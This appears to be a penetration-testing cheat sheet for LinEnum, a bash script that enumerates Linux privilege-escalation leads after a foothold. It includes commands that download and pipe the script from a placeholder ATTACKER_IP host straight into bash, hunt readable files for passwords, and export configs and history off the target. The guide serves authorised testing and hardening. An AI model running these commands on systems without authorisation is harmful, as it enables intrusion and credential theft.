LinEnum

LinEnum is a single-file bash script that runs the tedious manual Linux privesc checks for you and prints the results in clearly labelled sections: kernel and OS, sudo rules, SUID/SGID binaries, cron jobs, writable files, and plaintext credentials. Reach for it right after a foothold on a Linux box, especially older or constrained targets where a lighter, dependency-free script runs cleaner than the heavier modern enumerators. It surfaces leads; you verify and exploit them by hand.

Mental model: bash LinEnum.sh [options] | tee out.txt. Every option just adds or focuses checks.

New to Linux privesc? Core concepts
  • Enumeration, not exploitation: LinEnum only reads and reports; every hit is a lead you verify by hand
  • Sections: output is grouped under headers such as Kernel and OS, System, Sudo, SUID/SGID, Cron, Network, Services, and files with creds
  • SUID / SGID: the -4000 / -2000 permission bits let a binary run as its owner or group; a non-standard one is a privesc lead
  • Sudo rules: what sudo -l lets you run as another user; (ALL) NOPASSWD is often the fastest win
  • Cron: scheduled jobs; a root job calling a writable script or PATH entry is a strong lead
  • Capabilities: fine-grained root-like powers on a binary, shown by getcap (for example cap_setuid+ep)
  • Keyword search (-k WORD): greps readable files for WORD and pulls matching lines into the report
  • Thorough (-t): extra, slower checks layered on the already-broad default
When to reach for LinEnum (and when not)

Reach for it right after a Linux foothold to map privesc options fast, on older or constrained boxes where a dependency-free bash script runs cleaner than the PEAS suite, or when hardening your own host to see what an attacker would flag.

Reach for something else when you want ranked, color-coded output (linpeas), tunable verbosity that is quieter by default (lse.sh), real-time process and cron watching (pspy), or you already know the vector and just want to confirm it (sudo -l, find / -perm -4000, getcap -r /).

Install, update, verify#

LinEnum is a standalone script, not a package, so “install” means getting a current copy of LinEnum.sh onto your attacker box.

ls /usr/share/linenum/LinEnum.sh 2>/dev/null   # Kali / Parrot often ship a copy
git clone https://github.com/rebootuser/LinEnum.git   # or clone the official project
cd LinEnum && git pull                         # update: pull the newest checks

head -n 3 LinEnum.sh   # confirm the bash shebang + LinEnum banner
bash LinEnum.sh -h     # print the options banner (self-test)

Prefer the official rebootuser project so you get the current checks. The script is self-contained: once you have LinEnum.sh you have everything you need.

Flags you’ll actually use#

Skim these first; the cheat sheet below is these flags combined.

FlagDoes
(none)Default scan: runs the broad set of checks
-tThorough: adds extra, slower checks (more file reads)
-k WORDKeyword search: grep readable files for WORD
-e DIRExport: copy interesting files (configs, history) to DIR
-r NAMEReport: write a text report named NAME
-sSupply the current user’s password for sudo checks
-hHelp: print the options banner

Cheat sheet#

Every block starts simple and adds one flag at a time, so you can stop at the line that does the job.

# Deliver to the target: serve from your box, pull it down, run
python3 -m http.server 8000                              # attacker box, in the LinEnum folder
wget http://ATTACKER_IP:8000/LinEnum.sh -O /tmp/LinEnum.sh   # target, writable temp dir
bash /tmp/LinEnum.sh | tee /tmp/le.txt                   # run + keep a copy to grep

# Build up a run: stop at the depth you need
bash LinEnum.sh                                          # 1. default broad scan
bash LinEnum.sh | tee le.txt                            # 2. + save output to read later
bash LinEnum.sh -t | tee le.txt                         # 3. + thorough, slower checks
bash LinEnum.sh -t -k password | tee le.txt             # 4. + grep files for a keyword

# Transfer-free (lab only): pipe straight into bash, nothing hits disk
curl http://ATTACKER_IP:8000/LinEnum.sh | bash | tee /tmp/le.txt

# Targeted checks
bash LinEnum.sh -k password                             # keyword hunt in readable files
bash LinEnum.sh -e /tmp/export                          # copy interesting files off-host
bash LinEnum.sh -r report -e /tmp/export                # write a text report + export
bash LinEnum.sh -s                                       # include authenticated sudo checks

# Focus the noise: read the saved file, do not scroll the terminal
grep -iE 'sudo|SUID|SGID|cron|password|writable|capabilit' /tmp/le.txt

# Spot-check the high-signal leads by hand
sudo -l                                                  # sudo rules for this user
find / -perm -4000 -type f 2>/dev/null                  # SUID binaries
getcap -r / 2>/dev/null                                  # file capabilities

# Clean up afterward
rm -rf /tmp/LinEnum.sh /tmp/le.txt /tmp/export /tmp/report*

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect back.

Deliver LinEnum to the target#

# attacker box, in the LinEnum folder:
python3 -m http.server 8000
# target, over your existing foothold:
wget http://ATTACKER_IP:8000/LinEnum.sh -O /tmp/LinEnum.sh

LinEnum runs on the target, so you push it over the shell you already have. Serve it from your box, pull it into a writable temp dir. For every transfer method see the file transfer methods guides.

Run the default scan and keep a copy#

bash /tmp/LinEnum.sh | tee /tmp/le.txt

Runs the broad default set and mirrors the output to a file. Scrollback will not hold the whole report, so the tee copy is what you actually read afterward.

Run the thorough scan when the default is thin#

bash /tmp/LinEnum.sh -t | tee /tmp/le-thorough.txt

-t adds extra, slower checks and more filesystem reads. Reach for it when the default run turns up nothing useful, not by reflex.

Run without writing the script to disk#

curl http://ATTACKER_IP:8000/LinEnum.sh | bash | tee /tmp/le.txt

Pipes the script straight from your web server into bash, so nothing lands on disk. Convenient, but it shows in shell history and process lists; lab use only.

Hunt for a keyword across readable files#

bash /tmp/LinEnum.sh -k password | tee /tmp/le-pw.txt

-k greps files LinEnum can read for the word and pulls matching lines into the report. Verify each hit by hand; keyword matches are noisy.

Export interesting files to review off-host#

bash /tmp/LinEnum.sh -e /tmp/le-export | tee /tmp/le.txt

-e copies config files, history, and other flagged files into the folder so you can pull them back and read them off the target.

Write a report to keep with your notes#

bash /tmp/LinEnum.sh -t -e /tmp/le-export -r /tmp/le-report

-r writes a plain-text report under the name you give. Combined with -e you get a report plus the copied files, ready to attach to your engagement notes.

Include authenticated sudo checks#

bash /tmp/LinEnum.sh -s

-s prompts for the current user’s password (entered at a silent read prompt, not on the command line) so the sudo section can run checks that need it. The script itself flags this as insecure and CTF-only, so prefer running sudo -l yourself when you can.

Focus a long report on the leads that matter#

grep -iE 'sudo|SUID|SGID|cron|password|writable|capabilit' /tmp/le.txt

The report is long; grep the saved copy for the usual privesc suspects instead of scrolling. Widen or narrow the pattern as the box suggests.

Check sudo rules by hand#

sudo -l

Lists what the current user may run via sudo. A (ALL) NOPASSWD entry or a specific allowed binary is often the single fastest escalation; cross-check the binary on GTFOBins.

Find SUID/SGID binaries by hand#

find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID

Lists binaries that run as their owner or group. Ignore the standard system set and look for anything unusual or known-exploitable.

List file capabilities by hand#

getcap -r / 2>/dev/null

Shows binaries granted fine-grained root-like powers. A cap_setuid or cap_dac_read_search on the wrong binary is a direct lead that LinEnum also flags.

Clean up after the run#

rm -rf /tmp/LinEnum.sh /tmp/le*.txt /tmp/le-export /tmp/le-report*

Remove the script, saved output, exports, and report so you do not leave artifacts on the target. Record what you kept and where in your own notes first.

Reading the output#

SectionHigh-signal leadDo next
Sudo(ALL) NOPASSWD or a specific allowed binaryCross-check the binary on GTFOBins
SUID/SGIDA non-standard or known-exploitable binaryLook up the SUID technique on GTFOBins
CronA root job calling a writable script or pathEdit the writable target, wait for the run
Writable filesA file a higher-privileged process usesCheck what reads or executes it
Files with credsConfig, history, backups, keyword hitsTry the creds on other users and services
Kernel and OSA version hint onlyConfirm the exploit applies before running it

Thin or empty output can mean a locked-down box, a missing bash, or that the default missed it; try -t and enumerate manually.

Troubleshooting#

ProblemCauseFix
No such file or directoryTransfer failedRe-check the URL/path; verify the download
Syntax errorsRun under sh, not bashInvoke as bash LinEnum.sh
Permission deniedNot executable / read-only dirRun from /tmp with bash, or chmod +x
Very slow-t on a large filesystemDrop -t; grep for specific sections
No useful findingsDefault missed itTry -t and -k, then enumerate by hand
Garbled output in a fileTerminal control codesRead the plain tee copy, not raw scrollback
Sudo section emptyChecks need a passwordAdd -s, or run sudo -l yourself
Results differ from a guideScript version driftgit pull the latest and re-serve

Gotchas#

  • curl | bash shows in shell history and process accounting, so a defender sees the whole run; download once and run locally if that matters.
  • LinEnum hints, it does not prove. A kernel-version line is a guess; confirm the exploit applies before running it or you crash the box.
  • The default is already broad; -t mostly adds file reads. Reach for it when the default is thin, not on every run.
  • -s feeds your account password to a third-party script. It prompts with a silent read, then pipes the password to sudo -S; the script itself flags this as CTF-only, so prefer running sudo -l yourself.
  • The interesting finding is often buried past the first screen. Creds and cron leads sit low in the report, so grep the saved file instead of scrolling.
  • It leaves artifacts. The script, exports, and report stay on the target until you delete them.

Pairs with#

nmap gets you the foothold LinEnum runs from. linpeas is the modern successor with ranked, color-coded output; reach for it when you want findings prioritized, and stay on LinEnum when you need a lighter, dependency-free script on an old or constrained box. pspy watches processes and cron in real time to catch the job LinEnum only hinted at. searchsploit checks a flagged service or kernel version against known exploits, and GTFOBins turns a flagged sudo or SUID binary into a concrete technique.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop